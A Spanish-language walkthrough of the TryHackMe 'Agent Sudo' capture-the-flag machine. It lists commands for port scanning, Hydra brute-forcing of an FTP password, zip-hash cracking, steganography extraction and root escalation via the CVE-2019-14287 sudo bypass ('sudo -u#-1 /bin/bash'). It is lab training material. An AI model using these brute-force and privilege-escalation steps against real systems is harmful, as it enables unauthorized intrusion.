En este manual, te guiaré a través de los pasos básicos del pentesting utilizando la máquina TryHackMe Agent Sudo. A lo largo del proceso, te explicaré el propósito de cada herramienta utilizada y describiré el significado de cada flag o opción utilizada en los comandos. Sigue las instrucciones cuidadosamente para obtener resultados exitosos.
Paso 1: Escaneo de Puertos
Para comenzar, creamos un directorio con el nombre de la máquina y agregamos la dirección IP al archivo de hosts:
mkdir maquina
echo "ipmaquina xxxxxx" >> /etc/hosts
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina:
nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn ipmaquina -oN nmap_agentsudo
En este caso, encontramos que los puertos 21, 22 y 80 están abiertos.
Paso 2: Inspección de la Web
Ahora procederemos a inspeccionar la página web. Utilizaremos Burp Suite para descifrar el nombre de usuario. Sigue estos pasos:
Abre Burp Suite y cambia el User-Agent:XXXXXX a User-Agent:C, dale boton derecho y le damos send to repeater, vamos a la pestaña Repeater y damos a Follow Redirection
- Veras la parte derecha el nuevo texto.
- Identifica un nombre de usuario y una indicación de que su contraseña es débil.
Paso 3: Obtención de Contraseña de Usuario
Usaremos Hydra para obtener la contraseña del usuario encontrado. Ejecuta el siguiente comando:
hydra -l chris -P /ruta/diccionario.txt ipmaquina ftp
Este comando intentará encontrar la contraseña del usuario «chris» utilizando un diccionario de contraseñas.
Paso 4: Descarga de Archivos del FTP
Ahora, descargaremos todos los archivos del servidor FTP a nuestra máquina local utilizando el comando «get» de FTP. Ejecuta lo siguiente:
ftp ipmaquina
get *
Esto descargará todos los archivos presentes en el servidor FTP.
Paso 5: Inspección de Archivos Descargados
Según la información recibida, hay un archivo zip protegido con contraseña entre los archivos descargados. Realizaremos las siguientes acciones:
- Utilizaremos «binwalk» para analizar el archivo «cutie.png» y extraer su contenido:
binwalk cutie.png -e --run-as=root
- Usaremos «john» para descifrar la contraseña del archivo .zip utilizando un diccionario de contraseñas:
zip2john 8702.zip > hash.txt
john --wordlist=/ruta/diccionario.txt hash.txt
- Extraemos el archivo .zip utilizando el comando «7z»:
7z x 8702.zip
Paso 6: Decodificación de Contenido
Una vez extraído el archivo .zip, encontramos un archivo de texto con parte del contenido codificado en base64. Utilizaremos el siguiente comando para decodificarlo:
cat 'texto' | base64 -d; echo
Esto nos proporcionará otra contraseña.
Paso 7: Descompresión de Otra Imagen
Ahora, utilizaremos la herramienta «steghide» para extraer el contenido de otra imagen. Ejecuta el siguiente comando:
steghide extract -sf cutie-alien.jpg
Luego, lee el archivo resultante y encontrarás una nueva contraseña.
Paso 8: Acceso SSH y Escalamiento de Privilegios
Utilizando las credenciales obtenidas, podemos acceder a la máquina a través de SSH con el nuevo usuario y contraseña. Captura la bandera y luego, en otro terminal, descarga la imagen utilizando «scp»:
scp james@ipmaquina:Alien_autospy.jpg /ruta/directorio/trabajo
Realiza una búsqueda de la imagen en Google utilizando la función de búsqueda de imágenes inversa y busca en la página de Fox News.
Dentro de SSH, ejecuta el siguiente comando para verificar los permisos del usuario:
sudo -l
Encuentra una vulnerabilidad en (ALL, !root) /bin/bash. Investiga en línea para encontrar una posible explotación.
Encuentra un script en https://github.com/n0w4n/CVE-2019-14287 y crea un archivo llamado «sudo.sh» en el servidor con su contenido. Luego, ejecuta el script con el siguiente comando:
bash sudo.sh
Con esto, obtendrás acceso de root y podrás buscar la última bandera. ¡Máquina hackeada!
También tenemos otra forma de escalar privilegios que es mediante la ejecución del comando sudo -u#-1 /bin/bash yo esta forma la realice a posteriori, ya que en vez de poner este comando puse sudo -u#1 /bin/bash y me llevaba al usuario daemon.
Resumen:
En este manual, hemos llevado a cabo una prueba de penetración en la máquina TryHackMe Agent Sudo. A través de la inspección de la web, obtuvimos un nombre de usuario y una contraseña débil. Descargamos archivos del servidor FTP y encontramos un archivo .zip protegido con contraseña. Utilizando diversas herramientas, desciframos la contraseña del .zip, extrajimos su contenido y descubrimos otra contraseña. A través de SSH, accedimos a la máquina con nuevas credenciales y finalmente escalamos privilegios utilizando una vulnerabilidad en sudo. Como resultado, logramos obtener acceso de root y completamos la prueba de penetración.
¡No dudes en ponerte en contacto con DCSeguridad para obtener más información sobre seguridad y unirte a nuestro canal de Telegram!